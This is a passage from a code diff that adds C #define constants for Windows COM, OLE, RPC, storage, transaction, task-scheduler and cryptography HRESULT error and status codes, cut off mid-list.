+#define CAT_E_LAST -2147221151 +#define CAT_E_CATIDNOEXIST -2147221152 +#define CAT_E_NODESCRIPTION -2147221151 +#define CS_E_FIRST -2147221148 +#define CS_E_LAST -2147221137 +#define CS_E_PACKAGE_NOTFOUND -2147221148 +#define CS_E_NOT_DELETABLE -2147221147 +#define CS_E_CLASS_NOTFOUND -2147221146 +#define CS_E_INVALID_VERSION -2147221145 +#define CS_E_NO_CLASSSTORE -2147221144 +#define CS_E_OBJECT_NOTFOUND -2147221143 +#define CS_E_OBJECT_ALREADY_EXISTS -2147221142 +#define CS_E_INVALID_PATH -2147221141 +#define CS_E_NETWORK_ERROR -2147221140 +#define CS_E_ADMIN_LIMIT_EXCEEDED -2147221139 +#define CS_E_SCHEMA_MISMATCH -2147221138 +#define CS_E_INTERNAL_ERROR -2147221137 +#define CACHE_E_FIRST -2147221136 +#define CACHE_E_LAST -2147221121 +#define CACHE_S_FIRST 262512 +#define CACHE_S_LAST 262527 +#define CACHE_E_NOCACHE_UPDATED -2147221136 +#define OLEOBJ_E_FIRST -2147221120 +#define OLEOBJ_E_LAST -2147221105 +#define OLEOBJ_S_FIRST 262528 +#define OLEOBJ_S_LAST 262543 +#define OLEOBJ_E_NOVERBS -2147221120 +#define OLEOBJ_E_INVALIDVERB -2147221119 +#define CLIENTSITE_E_FIRST -2147221104 +#define CLIENTSITE_E_LAST -2147221089 +#define CLIENTSITE_S_FIRST 262544 +#define CLIENTSITE_S_LAST 262559 +#define INPLACE_E_NOTUNDOABLE -2147221088 +#define INPLACE_E_NOTOOLSPACE -2147221087 +#define INPLACE_E_FIRST -2147221088 +#define INPLACE_E_LAST -2147221073 +#define INPLACE_S_FIRST 262560 +#define INPLACE_S_LAST 262575 +#define ENUM_E_FIRST -2147221072 +#define ENUM_E_LAST -2147221057 +#define ENUM_S_FIRST 262576 +#define ENUM_S_LAST 262591 +#define CONVERT10_E_FIRST -2147221056 +#define CONVERT10_E_LAST -2147221041 +#define CONVERT10_S_FIRST 262592 +#define CONVERT10_S_LAST 262607 +#define CONVERT10_E_OLESTREAM_GET -2147221056 +#define CONVERT10_E_OLESTREAM_PUT -2147221055 +#define CONVERT10_E_OLESTREAM_FMT -2147221054 +#define CONVERT10_E_OLESTREAM_BITMAP_TO_DIB -2147221053 +#define CONVERT10_E_STG_FMT -2147221052 +#define CONVERT10_E_STG_NO_STD_STREAM -2147221051 +#define CONVERT10_E_STG_DIB_TO_BITMAP -2147221050 +#define CONVERT10_E_OLELINK_DISABLED -2147221049 +#define CLIPBRD_E_FIRST -2147221040 +#define CLIPBRD_E_LAST -2147221025 +#define CLIPBRD_S_FIRST 262608 +#define CLIPBRD_S_LAST 262623 +#define CLIPBRD_E_CANT_OPEN -2147221040 +#define CLIPBRD_E_CANT_EMPTY -2147221039 +#define CLIPBRD_E_CANT_SET -2147221038 +#define CLIPBRD_E_BAD_DATA -2147221037 +#define CLIPBRD_E_CANT_CLOSE -2147221036 +#define MK_E_FIRST -2147221024 +#define MK_E_LAST -2147221009 +#define MK_S_FIRST 262624 +#define MK_S_LAST 262639 +#define MK_E_CONNECTMANUALLY -2147221024 +#define MK_E_EXCEEDEDDEADLINE -2147221023 +#define MK_E_NEEDGENERIC -2147221022 +#define MK_E_UNAVAILABLE -2147221021 +#define MK_E_SYNTAX -2147221020 +#define MK_E_NOOBJECT -2147221019 +#define MK_E_INVALIDEXTENSION -2147221018 +#define MK_E_INTERMEDIATEINTERFACENOTSUPPORTED -2147221017 +#define MK_E_NOTBINDABLE -2147221016 +#define MK_E_NOTBOUND -2147221015 +#define MK_E_CANTOPENFILE -2147221014 +#define MK_E_MUSTBOTHERUSER -2147221013 +#define MK_E_NOINVERSE -2147221012 +#define MK_E_NOSTORAGE -2147221011 +#define MK_E_NOPREFIX -2147221010 +#define MK_E_ENUMERATION_FAILED -2147221009 +#define CO_E_FIRST -2147221008 +#define CO_E_LAST -2147220993 +#define CO_S_FIRST 262640 +#define CO_S_LAST 262655 +#define CO_E_ALREADYINITIALIZED -2147221007 +#define CO_E_CANTDETERMINECLASS -2147221006 +#define CO_E_CLASSSTRING -2147221005 +#define CO_E_IIDSTRING -2147221004 +#define CO_E_APPNOTFOUND -2147221003 +#define CO_E_APPSINGLEUSE -2147221002 +#define CO_E_ERRORINAPP -2147221001 +#define CO_E_DLLNOTFOUND -2147221000 +#define CO_E_ERRORINDLL -2147220999 +#define CO_E_WRONGOSFORAPP -2147220998 +#define CO_E_OBJNOTREG -2147220997 +#define CO_E_OBJISREG -2147220996 +#define CO_E_OBJNOTCONNECTED -2147220995 +#define CO_E_APPDIDNTREG -2147220994 +#define CO_E_RELEASED -2147220993 +#define EVENT_E_FIRST -2147220992 +#define EVENT_E_LAST -2147220961 +#define EVENT_S_FIRST 262656 +#define EVENT_S_LAST 262687 +#define EVENT_S_SOME_SUBSCRIBERS_FAILED 262656 +#define EVENT_E_ALL_SUBSCRIBERS_FAILED -2147220991 +#define EVENT_S_NOSUBSCRIBERS 262658 +#define EVENT_E_QUERYSYNTAX -2147220989 +#define EVENT_E_QUERYFIELD -2147220988 +#define EVENT_E_INTERNALEXCEPTION -2147220987 +#define EVENT_E_INTERNALERROR -2147220986 +#define EVENT_E_INVALID_PER_USER_SID -2147220985 +#define EVENT_E_USER_EXCEPTION -2147220984 +#define EVENT_E_TOO_MANY_METHODS -2147220983 +#define EVENT_E_MISSING_EVENTCLASS -2147220982 +#define EVENT_E_NOT_ALL_REMOVED -2147220981 +#define EVENT_E_COMPLUS_NOT_INSTALLED -2147220980 +#define EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT -2147220979 +#define EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT -2147220978 +#define EVENT_E_INVALID_EVENT_CLASS_PARTITION -2147220977 +#define EVENT_E_PER_USER_SID_NOT_LOGGED_ON -2147220976 +#define TPC_E_INVALID_PROPERTY -2147220927 +#define TPC_E_NO_DEFAULT_TABLET -2147220974 +#define TPC_E_UNKNOWN_PROPERTY -2147220965 +#define TPC_E_INVALID_INPUT_RECT -2147220967 +#define TPC_E_INVALID_STROKE -2147220958 +#define TPC_E_INITIALIZE_FAIL -2147220957 +#define TPC_E_NOT_RELEVANT -2147220942 +#define TPC_E_INVALID_PACKET_DESCRIPTION -2147220941 +#define TPC_E_RECOGNIZER_NOT_REGISTERED -2147220939 +#define TPC_E_INVALID_RIGHTS -2147220938 +#define TPC_E_OUT_OF_ORDER_CALL -2147220937 +#define TPC_E_QUEUE_FULL -2147220936 +#define TPC_E_INVALID_CONFIGURATION -2147220935 +#define TPC_E_INVALID_DATA_FROM_RECOGNIZER -2147220934 +#define TPC_S_TRUNCATED 262738 +#define TPC_S_INTERRUPTED 262739 +#define TPC_S_NO_DATA_TO_PROCESS 262740 +#define XACT_E_FIRST 0x8004d000 +#define XACT_E_LAST 0x8004d02b +#define XACT_S_FIRST 0x4d000 +#define XACT_S_LAST 0x4d010 +#define XACT_E_ALREADYOTHERSINGLEPHASE -2147168256 +#define XACT_E_CANTRETAIN -2147168255 +#define XACT_E_COMMITFAILED -2147168254 +#define XACT_E_COMMITPREVENTED -2147168253 +#define XACT_E_HEURISTICABORT -2147168252 +#define XACT_E_HEURISTICCOMMIT -2147168251 +#define XACT_E_HEURISTICDAMAGE -2147168250 +#define XACT_E_HEURISTICDANGER -2147168249 +#define XACT_E_ISOLATIONLEVEL -2147168248 +#define XACT_E_NOASYNC -2147168247 +#define XACT_E_NOENLIST -2147168246 +#define XACT_E_NOISORETAIN -2147168245 +#define XACT_E_NORESOURCE -2147168244 +#define XACT_E_NOTCURRENT -2147168243 +#define XACT_E_NOTRANSACTION -2147168242 +#define XACT_E_NOTSUPPORTED -2147168241 +#define XACT_E_UNKNOWNRMGRID -2147168240 +#define XACT_E_WRONGSTATE -2147168239 +#define XACT_E_WRONGUOW -2147168238 +#define XACT_E_XTIONEXISTS -2147168237 +#define XACT_E_NOIMPORTOBJECT -2147168236 +#define XACT_E_INVALIDCOOKIE -2147168235 +#define XACT_E_INDOUBT -2147168234 +#define XACT_E_NOTIMEOUT -2147168233 +#define XACT_E_ALREADYINPROGRESS -2147168232 +#define XACT_E_ABORTED -2147168231 +#define XACT_E_LOGFULL -2147168230 +#define XACT_E_TMNOTAVAILABLE -2147168229 +#define XACT_E_CONNECTION_DOWN -2147168228 +#define XACT_E_CONNECTION_DENIED -2147168227 +#define XACT_E_REENLISTTIMEOUT -2147168226 +#define XACT_E_TIP_CONNECT_FAILED -2147168225 +#define XACT_E_TIP_PROTOCOL_ERROR -2147168224 +#define XACT_E_TIP_PULL_FAILED -2147168223 +#define XACT_E_DEST_TMNOTAVAILABLE -2147168222 +#define XACT_E_TIP_DISABLED -2147168221 +#define XACT_E_NETWORK_TX_DISABLED -2147168220 +#define XACT_E_PARTNER_NETWORK_TX_DISABLED -2147168219 +#define XACT_E_XA_TX_DISABLED -2147168218 +#define XACT_E_UNABLE_TO_READ_DTC_CONFIG -2147168217 +#define XACT_E_UNABLE_TO_LOAD_DTC_PROXY -2147168216 +#define XACT_E_ABORTING -2147168215 +#define XACT_E_PUSH_COMM_FAILURE -2147168214 +#define XACT_E_PULL_COMM_FAILURE -2147168213 +#define XACT_E_LU_TX_DISABLED -2147168212 +#define XACT_E_CLERKNOTFOUND -2147168128 +#define XACT_E_CLERKEXISTS -2147168127 +#define XACT_E_RECOVERYINPROGRESS -2147168126 +#define XACT_E_TRANSACTIONCLOSED -2147168125 +#define XACT_E_INVALIDLSN -2147168124 +#define XACT_E_REPLAYREQUEST -2147168123 +#define XACT_S_ASYNC 315392 +#define XACT_S_DEFECT 315393 +#define XACT_S_READONLY 315394 +#define XACT_S_SOMENORETAIN 315395 +#define XACT_S_OKINFORM 315396 +#define XACT_S_MADECHANGESCONTENT 315397 +#define XACT_S_MADECHANGESINFORM 315398 +#define XACT_S_ALLNORETAIN 315399 +#define XACT_S_ABORTING 315400 +#define XACT_S_SINGLEPHASE 315401 +#define XACT_S_LOCALLY_OK 315402 +#define XACT_S_LASTRESOURCEMANAGER 315408 +#define CONTEXT_E_FIRST -2147164160 +#define CONTEXT_E_LAST -2147164113 +#define CONTEXT_S_FIRST 319488 +#define CONTEXT_S_LAST 319535 +#define CONTEXT_E_ABORTED -2147164158 +#define CONTEXT_E_ABORTING -2147164157 +#define CONTEXT_E_NOCONTEXT -2147164156 +#define CONTEXT_E_WOULD_DEADLOCK -2147164155 +#define CONTEXT_E_SYNCH_TIMEOUT -2147164154 +#define CONTEXT_E_OLDREF -2147164153 +#define CONTEXT_E_ROLENOTFOUND -2147164148 +#define CONTEXT_E_TMNOTAVAILABLE -2147164145 +#define CO_E_ACTIVATIONFAILED -2147164127 +#define CO_E_ACTIVATIONFAILED_EVENTLOGGED -2147164126 +#define CO_E_ACTIVATIONFAILED_CATALOGERROR -2147164125 +#define CO_E_ACTIVATIONFAILED_TIMEOUT -2147164124 +#define CO_E_INITIALIZATIONFAILED -2147164123 +#define CONTEXT_E_NOJIT -2147164122 +#define CONTEXT_E_NOTRANSACTION -2147164121 +#define CO_E_THREADINGMODEL_CHANGED -2147164120 +#define CO_E_NOIISINTRINSICS -2147164119 +#define CO_E_NOCOOKIES -2147164118 +#define CO_E_DBERROR -2147164117 +#define CO_E_NOTPOOLED -2147164116 +#define CO_E_NOTCONSTRUCTED -2147164115 +#define CO_E_NOSYNCHRONIZATION -2147164114 +#define CO_E_ISOLEVELMISMATCH -2147164113 +#define CO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED -2147164112 +#define CO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED -2147164111 +#define OLE_S_USEREG 262144 +#define OLE_S_STATIC 262145 +#define OLE_S_MAC_CLIPFORMAT 262146 +#define DRAGDROP_S_DROP 262400 +#define DRAGDROP_S_CANCEL 262401 +#define DRAGDROP_S_USEDEFAULTCURSORS 262402 +#define DATA_S_SAMEFORMATETC 262448 +#define VIEW_S_ALREADY_FROZEN 262464 +#define CACHE_S_FORMATETC_NOTSUPPORTED 262512 +#define CACHE_S_SAMECACHE 262513 +#define CACHE_S_SOMECACHES_NOTUPDATED 262514 +#define OLEOBJ_S_INVALIDVERB 262528 +#define OLEOBJ_S_CANNOT_DOVERB_NOW 262529 +#define OLEOBJ_S_INVALIDHWND 262530 +#define INPLACE_S_TRUNCATED 262560 +#define CONVERT10_S_NO_PRESENTATION 262592 +#define MK_S_REDUCED_TO_SELF 262626 +#define MK_S_ME 262628 +#define MK_S_HIM 262629 +#define MK_S_US 262630 +#define MK_S_MONIKERALREADYREGISTERED 262631 +#define SCHED_S_TASK_READY 267008 +#define SCHED_S_TASK_RUNNING 267009 +#define SCHED_S_TASK_DISABLED 267010 +#define SCHED_S_TASK_HAS_NOT_RUN 267011 +#define SCHED_S_TASK_NO_MORE_RUNS 267012 +#define SCHED_S_TASK_NOT_SCHEDULED 267013 +#define SCHED_S_TASK_TERMINATED 267014 +#define SCHED_S_TASK_NO_VALID_TRIGGERS 267015 +#define SCHED_S_EVENT_TRIGGER 267016 +#define SCHED_E_TRIGGER_NOT_FOUND -2147216631 +#define SCHED_E_TASK_NOT_READY -2147216630 +#define SCHED_E_TASK_NOT_RUNNING -2147216629 +#define SCHED_E_SERVICE_NOT_INSTALLED -2147216628 +#define SCHED_E_CANNOT_OPEN_TASK -2147216627 +#define SCHED_E_INVALID_TASK -2147216626 +#define SCHED_E_ACCOUNT_INFORMATION_NOT_SET -2147216625 +#define SCHED_E_ACCOUNT_NAME_NOT_FOUND -2147216624 +#define SCHED_E_ACCOUNT_DBASE_CORRUPT -2147216623 +#define SCHED_E_NO_SECURITY_SERVICES -2147216622 +#define SCHED_E_UNKNOWN_OBJECT_VERSION -2147216621 +#define SCHED_E_UNSUPPORTED_ACCOUNT_OPTION -2147216620 +#define SCHED_E_SERVICE_NOT_RUNNING -2147216619 +#define SCHED_E_UNEXPECTEDNODE -2147216618 +#define SCHED_E_NAMESPACE -2147216617 +#define SCHED_E_INVALIDVALUE -2147216616 +#define SCHED_E_MISSINGNODE -2147216615 +#define SCHED_E_MALFORMEDXML -2147216614 +#define SCHED_S_SOME_TRIGGERS_FAILED 267035 +#define SCHED_S_BATCH_LOGON_PROBLEM 267036 +#define SCHED_E_TOO_MANY_NODES -2147216611 +#define SCHED_E_PAST_END_BOUNDARY -2147216610 +#define SCHED_E_ALREADY_RUNNING -2147216609 +#define SCHED_E_USER_NOT_LOGGED_ON -2147216608 +#define SCHED_E_INVALID_TASK_HASH -2147216607 +#define SCHED_E_SERVICE_NOT_AVAILABLE -2147216606 +#define SCHED_E_SERVICE_TOO_BUSY -2147216605 +#define SCHED_E_TASK_ATTEMPTED -2147216604 +#define SCHED_S_TASK_QUEUED 267045 +#define SCHED_E_TASK_DISABLED -2147216602 +#define SCHED_E_TASK_NOT_V1_COMPAT -2147216601 +#define SCHED_E_START_ON_DEMAND -2147216600 +#define SCHED_E_TASK_NOT_UBPM_COMPAT -2147216599 +#define SCHED_E_DEPRECATED_FEATURE_USED -2147216592 +#define CO_E_CLASS_CREATE_FAILED -2146959359 +#define CO_E_SCM_ERROR -2146959358 +#define CO_E_SCM_RPC_FAILURE -2146959357 +#define CO_E_BAD_PATH -2146959356 +#define CO_E_SERVER_EXEC_FAILURE -2146959355 +#define CO_E_OBJSRV_RPC_FAILURE -2146959354 +#define MK_E_NO_NORMALIZED -2146959353 +#define CO_E_SERVER_STOPPING -2146959352 +#define MEM_E_INVALID_ROOT -2146959351 +#define MEM_E_INVALID_LINK -2146959344 +#define MEM_E_INVALID_SIZE -2146959343 +#define CO_S_NOTALLINTERFACES 524306 +#define CO_S_MACHINENAMENOTFOUND 524307 +#define CO_E_MISSING_DISPLAYNAME -2146959339 +#define CO_E_RUNAS_VALUE_MUST_BE_AAA -2146959338 +#define CO_E_ELEVATION_DISABLED -2146959337 +#define APPX_E_PACKAGING_INTERNAL -2146958848 +#define APPX_E_INTERLEAVING_NOT_ALLOWED -2146958847 +#define APPX_E_RELATIONSHIPS_NOT_ALLOWED -2146958846 +#define APPX_E_MISSING_REQUIRED_FILE -2146958845 +#define APPX_E_INVALID_MANIFEST -2146958844 +#define APPX_E_INVALID_BLOCKMAP -2146958843 +#define APPX_E_CORRUPT_CONTENT -2146958842 +#define APPX_E_BLOCK_HASH_INVALID -2146958841 +#define APPX_E_REQUESTED_RANGE_TOO_LARGE -2146958840 +#define APPX_E_INVALID_SIP_CLIENT_DATA -2146958839 +#define APPX_E_INVALID_KEY_INFO -2146958838 +#define APPX_E_INVALID_CONTENTGROUPMAP -2146958837 +#define APPX_E_INVALID_APPINSTALLER -2146958836 +#define APPX_E_DELTA_BASELINE_VERSION_MISMATCH -2146958835 +#define APPX_E_DELTA_PACKAGE_MISSING_FILE -2146958834 +#define APPX_E_INVALID_DELTA_PACKAGE -2146958833 +#define APPX_E_DELTA_APPENDED_PACKAGE_NOT_ALLOWED -2146958832 +#define APPX_E_INVALID_PACKAGING_LAYOUT -2146958831 +#define APPX_E_INVALID_PACKAGESIGNCONFIG -2146958830 +#define APPX_E_RESOURCESPRI_NOT_ALLOWED -2146958829 +#define APPX_E_FILE_COMPRESSION_MISMATCH -2146958828 +#define APPX_E_INVALID_PAYLOAD_PACKAGE_EXTENSION -2146958827 +#define APPX_E_INVALID_ENCRYPTION_EXCLUSION_FILE_LIST -2146958826 +#define APPX_E_INVALID_PACKAGE_FOLDER_ACLS -2146958825 +#define APPX_E_INVALID_PUBLISHER_BRIDGING -2146958824 +#define APPX_E_DIGEST_MISMATCH -2146958823 +#define BT_E_SPURIOUS_ACTIVATION -2146958592 +#define DISP_E_UNKNOWNINTERFACE -2147352575 +#define DISP_E_MEMBERNOTFOUND -2147352573 +#define DISP_E_PARAMNOTFOUND -2147352572 +#define DISP_E_TYPEMISMATCH -2147352571 +#define DISP_E_UNKNOWNNAME -2147352570 +#define DISP_E_NONAMEDARGS -2147352569 +#define DISP_E_BADVARTYPE -2147352568 +#define DISP_E_EXCEPTION -2147352567 +#define DISP_E_OVERFLOW -2147352566 +#define DISP_E_BADINDEX -2147352565 +#define DISP_E_UNKNOWNLCID -2147352564 +#define DISP_E_ARRAYISLOCKED -2147352563 +#define DISP_E_BADPARAMCOUNT -2147352562 +#define DISP_E_PARAMNOTOPTIONAL -2147352561 +#define DISP_E_BADCALLEE -2147352560 +#define DISP_E_NOTACOLLECTION -2147352559 +#define DISP_E_DIVBYZERO -2147352558 +#define DISP_E_BUFFERTOOSMALL -2147352557 +#define TYPE_E_BUFFERTOOSMALL -2147319786 +#define TYPE_E_FIELDNOTFOUND -2147319785 +#define TYPE_E_INVDATAREAD -2147319784 +#define TYPE_E_UNSUPFORMAT -2147319783 +#define TYPE_E_REGISTRYACCESS -2147319780 +#define TYPE_E_LIBNOTREGISTERED -2147319779 +#define TYPE_E_UNDEFINEDTYPE -2147319769 +#define TYPE_E_QUALIFIEDNAMEDISALLOWED -2147319768 +#define TYPE_E_INVALIDSTATE -2147319767 +#define TYPE_E_WRONGTYPEKIND -2147319766 +#define TYPE_E_ELEMENTNOTFOUND -2147319765 +#define TYPE_E_AMBIGUOUSNAME -2147319764 +#define TYPE_E_NAMECONFLICT -2147319763 +#define TYPE_E_UNKNOWNLCID -2147319762 +#define TYPE_E_DLLFUNCTIONNOTFOUND -2147319761 +#define TYPE_E_BADMODULEKIND -2147317571 +#define TYPE_E_SIZETOOBIG -2147317563 +#define TYPE_E_DUPLICATEID -2147317562 +#define TYPE_E_INVALIDID -2147317553 +#define TYPE_E_TYPEMISMATCH -2147316576 +#define TYPE_E_OUTOFBOUNDS -2147316575 +#define TYPE_E_IOERROR -2147316574 +#define TYPE_E_CANTCREATETMPFILE -2147316573 +#define TYPE_E_CANTLOADLIBRARY -2147312566 +#define TYPE_E_INCONSISTENTPROPFUNCS -2147312509 +#define TYPE_E_CIRCULARTYPE -2147312508 +#define STG_E_INVALIDFUNCTION -2147287039 +#define STG_E_FILENOTFOUND -2147287038 +#define STG_E_PATHNOTFOUND -2147287037 +#define STG_E_TOOMANYOPENFILES -2147287036 +#define STG_E_ACCESSDENIED -2147287035 +#define STG_E_INVALIDHANDLE -2147287034 +#define STG_E_INSUFFICIENTMEMORY -2147287032 +#define STG_E_INVALIDPOINTER -2147287031 +#define STG_E_NOMOREFILES -2147287022 +#define STG_E_DISKISWRITEPROTECTED -2147287021 +#define STG_E_SEEKERROR -2147287015 +#define STG_E_WRITEFAULT -2147287011 +#define STG_E_READFAULT -2147287010 +#define STG_E_SHAREVIOLATION -2147287008 +#define STG_E_LOCKVIOLATION -2147287007 +#define STG_E_FILEALREADYEXISTS -2147286960 +#define STG_E_INVALIDPARAMETER -2147286953 +#define STG_E_MEDIUMFULL -2147286928 +#define STG_E_PROPSETMISMATCHED -2147286800 +#define STG_E_ABNORMALAPIEXIT -2147286790 +#define STG_E_INVALIDHEADER -2147286789 +#define STG_E_INVALIDNAME -2147286788 +#define STG_E_UNKNOWN -2147286787 +#define STG_E_UNIMPLEMENTEDFUNCTION -2147286786 +#define STG_E_INVALIDFLAG -2147286785 +#define STG_E_INUSE -2147286784 +#define STG_E_NOTCURRENT -2147286783 +#define STG_E_REVERTED -2147286782 +#define STG_E_CANTSAVE -2147286781 +#define STG_E_OLDFORMAT -2147286780 +#define STG_E_OLDDLL -2147286779 +#define STG_E_SHAREREQUIRED -2147286778 +#define STG_E_NOTFILEBASEDSTORAGE -2147286777 +#define STG_E_EXTANTMARSHALLINGS -2147286776 +#define STG_E_DOCFILECORRUPT -2147286775 +#define STG_E_BADBASEADDRESS -2147286768 +#define STG_E_DOCFILETOOLARGE -2147286767 +#define STG_E_NOTSIMPLEFORMAT -2147286766 +#define STG_E_INCOMPLETE -2147286527 +#define STG_E_TERMINATED -2147286526 +#define STG_S_CONVERTED 197120 +#define STG_S_BLOCK 197121 +#define STG_S_RETRYNOW 197122 +#define STG_S_MONITORING 197123 +#define STG_S_MULTIPLEOPENS 197124 +#define STG_S_CONSOLIDATIONFAILED 197125 +#define STG_S_CANNOTCONSOLIDATE 197126 +#define STG_S_POWER_CYCLE_REQUIRED 197127 +#define STG_E_FIRMWARE_SLOT_INVALID -2147286520 +#define STG_E_FIRMWARE_IMAGE_INVALID -2147286519 +#define STG_E_DEVICE_UNRESPONSIVE -2147286518 +#define STG_E_STATUS_COPY_PROTECTION_FAILURE -2147286267 +#define STG_E_CSS_AUTHENTICATION_FAILURE -2147286266 +#define STG_E_CSS_KEY_NOT_PRESENT -2147286265 +#define STG_E_CSS_KEY_NOT_ESTABLISHED -2147286264 +#define STG_E_CSS_SCRAMBLED_SECTOR -2147286263 +#define STG_E_CSS_REGION_MISMATCH -2147286262 +#define STG_E_RESETS_EXHAUSTED -2147286261 +#define RPC_E_CALL_REJECTED -2147418111 +#define RPC_E_CALL_CANCELED -2147418110 +#define RPC_E_CANTPOST_INSENDCALL -2147418109 +#define RPC_E_CANTCALLOUT_INASYNCCALL -2147418108 +#define RPC_E_CANTCALLOUT_INEXTERNALCALL -2147418107 +#define RPC_E_CONNECTION_TERMINATED -2147418106 +#define RPC_E_SERVER_DIED -2147418105 +#define RPC_E_CLIENT_DIED -2147418104 +#define RPC_E_INVALID_DATAPACKET -2147418103 +#define RPC_E_CANTTRANSMIT_CALL -2147418102 +#define RPC_E_CLIENT_CANTMARSHAL_DATA -2147418101 +#define RPC_E_CLIENT_CANTUNMARSHAL_DATA -2147418100 +#define RPC_E_SERVER_CANTMARSHAL_DATA -2147418099 +#define RPC_E_SERVER_CANTUNMARSHAL_DATA -2147418098 +#define RPC_E_INVALID_DATA -2147418097 +#define RPC_E_INVALID_PARAMETER -2147418096 +#define RPC_E_CANTCALLOUT_AGAIN -2147418095 +#define RPC_E_SERVER_DIED_DNE -2147418094 +#define RPC_E_SYS_CALL_FAILED -2147417856 +#define RPC_E_OUT_OF_RESOURCES -2147417855 +#define RPC_E_ATTEMPTED_MULTITHREAD -2147417854 +#define RPC_E_NOT_REGISTERED -2147417853 +#define RPC_E_FAULT -2147417852 +#define RPC_E_SERVERFAULT -2147417851 +#define RPC_E_CHANGED_MODE -2147417850 +#define RPC_E_INVALIDMETHOD -2147417849 +#define RPC_E_DISCONNECTED -2147417848 +#define RPC_E_RETRY -2147417847 +#define RPC_E_SERVERCALL_RETRYLATER -2147417846 +#define RPC_E_SERVERCALL_REJECTED -2147417845 +#define RPC_E_INVALID_CALLDATA -2147417844 +#define RPC_E_CANTCALLOUT_ININPUTSYNCCALL -2147417843 +#define RPC_E_WRONG_THREAD -2147417842 +#define RPC_E_THREAD_NOT_INIT -2147417841 +#define RPC_E_VERSION_MISMATCH -2147417840 +#define RPC_E_INVALID_HEADER -2147417839 +#define RPC_E_INVALID_EXTENSION -2147417838 +#define RPC_E_INVALID_IPID -2147417837 +#define RPC_E_INVALID_OBJECT -2147417836 +#define RPC_S_CALLPENDING -2147417835 +#define RPC_S_WAITONTIMER -2147417834 +#define RPC_E_CALL_COMPLETE -2147417833 +#define RPC_E_UNSECURE_CALL -2147417832 +#define RPC_E_TOO_LATE -2147417831 +#define RPC_E_NO_GOOD_SECURITY_PACKAGES -2147417830 +#define RPC_E_ACCESS_DENIED -2147417829 +#define RPC_E_REMOTE_DISABLED -2147417828 +#define RPC_E_INVALID_OBJREF -2147417827 +#define RPC_E_NO_CONTEXT -2147417826 +#define RPC_E_TIMEOUT -2147417825 +#define RPC_E_NO_SYNC -2147417824 +#define RPC_E_FULLSIC_REQUIRED -2147417823 +#define RPC_E_INVALID_STD_NAME -2147417822 +#define CO_E_FAILEDTOIMPERSONATE -2147417821 +#define CO_E_FAILEDTOGETSECCTX -2147417820 +#define CO_E_FAILEDTOOPENTHREADTOKEN -2147417819 +#define CO_E_FAILEDTOGETTOKENINFO -2147417818 +#define CO_E_TRUSTEEDOESNTMATCHCLIENT -2147417817 +#define CO_E_FAILEDTOQUERYCLIENTBLANKET -2147417816 +#define CO_E_FAILEDTOSETDACL -2147417815 +#define CO_E_ACCESSCHECKFAILED -2147417814 +#define CO_E_NETACCESSAPIFAILED -2147417813 +#define CO_E_WRONGTRUSTEENAMESYNTAX -2147417812 +#define CO_E_INVALIDSID -2147417811 +#define CO_E_CONVERSIONFAILED -2147417810 +#define CO_E_NOMATCHINGSIDFOUND -2147417809 +#define CO_E_LOOKUPACCSIDFAILED -2147417808 +#define CO_E_NOMATCHINGNAMEFOUND -2147417807 +#define CO_E_LOOKUPACCNAMEFAILED -2147417806 +#define CO_E_SETSERLHNDLFAILED -2147417805 +#define CO_E_FAILEDTOGETWINDIR -2147417804 +#define CO_E_PATHTOOLONG -2147417803 +#define CO_E_FAILEDTOGENUUID -2147417802 +#define CO_E_FAILEDTOCREATEFILE -2147417801 +#define CO_E_FAILEDTOCLOSEHANDLE -2147417800 +#define CO_E_EXCEEDSYSACLLIMIT -2147417799 +#define CO_E_ACESINWRONGORDER -2147417798 +#define CO_E_INCOMPATIBLESTREAMVERSION -2147417797 +#define CO_E_FAILEDTOOPENPROCESSTOKEN -2147417796 +#define CO_E_DECODEFAILED -2147417795 +#define CO_E_ACNOTINITIALIZED -2147417793 +#define CO_E_CANCEL_DISABLED -2147417792 +#define CO_E_SERVER_CANNOT_BE_EQUAL_OR_GREATER_PRIVILEGE -2147417791 +#define CO_E_CANNOT_ACTIVATE_CROSS_PACKAGE_IN_SESSION_0 -2147417790 +#define RPC_E_UNEXPECTED -2147352577 +#define ERROR_AUDITING_DISABLED -1073151999 +#define ERROR_ALL_SIDS_FILTERED -1073151998 +#define ERROR_BIZRULES_NOT_ENABLED -1073151997 +#define NTE_BAD_UID -2146893823 +#define NTE_BAD_HASH -2146893822 +#define NTE_BAD_KEY -2146893821 +#define NTE_BAD_LEN -2146893820 +#define NTE_BAD_DATA -2146893819 +#define NTE_BAD_SIGNATURE -2146893818 +#define NTE_BAD_VER -2146893817 +#define NTE_BAD_ALGID -2146893816 +#define NTE_BAD_FLAGS -2146893815 +#define NTE_BAD_TYPE -2146893814 +#define NTE_BAD_KEY_STATE -2146893813 +#define NTE_BAD_HASH_STATE -2146893812 +#define NTE_NO_KEY -2146893811 +#define NTE_NO_MEMORY -2146893810 +#define NTE_EXISTS -2146893809 +#define NTE_PERM -2146893808 +#define NTE_NOT_FOUND -2146893807 +#define NTE_DOUBLE_ENCRYPT -2146893806 +#define NTE_BAD_PROVIDER -2146893805 +#define NTE_BAD_PROV_TYPE -2146893804 +#define NTE_BAD_PUBLIC_KEY -2146893803 +#define NTE_BAD_KEYSET -2146893802 +#define NTE_PROV_TYPE_NOT_DEF -2146893801 +#define NTE_PROV_TYPE_ENTRY_BAD -2146893800 +#define NTE_KEYSET_NOT_DEF -2146893799 +#define NTE_KEYSET_ENTRY_BAD -2146893798 +#define NTE_PROV_TYPE_NO_MATCH -2146893797 +#define NTE_SIGNATURE_FILE_BAD -2146893796 +#define NTE_PROVIDER_DLL_FAIL -2146893795 +#define NTE_PROV_DLL_NOT_FOUND -2146893794 +#define NTE_BAD_KEYSET_PARAM -2146893793 +#define NTE_FAIL -2146893792 +#define NTE_SYS_ERR -2146893791 +#define NTE_SILENT_CONTEXT -2146893790 +#define NTE_TOKEN_KEYSET_STORAGE_FULL -2146893789 +#define NTE_TEMPORARY_PROFILE -2146893788 +#define NTE_FIXEDPARAMETER -2146893787 +#define NTE_INVALID_HANDLE -2146893786 +#define NTE_INVALID_PARAMETER -2146893785 +#define NTE_BUFFER_TOO_SMALL -2146893784 +#define NTE_NOT_SUPPORTED -2146893783 +#define NTE_NO_MORE_ITEMS -2146893782 +#define NTE_BUFFERS_OVERLAP -2146893781 +#define NTE_DECRYPTION_FAILURE -2146893780 +#define NTE_INTERNAL_ERROR 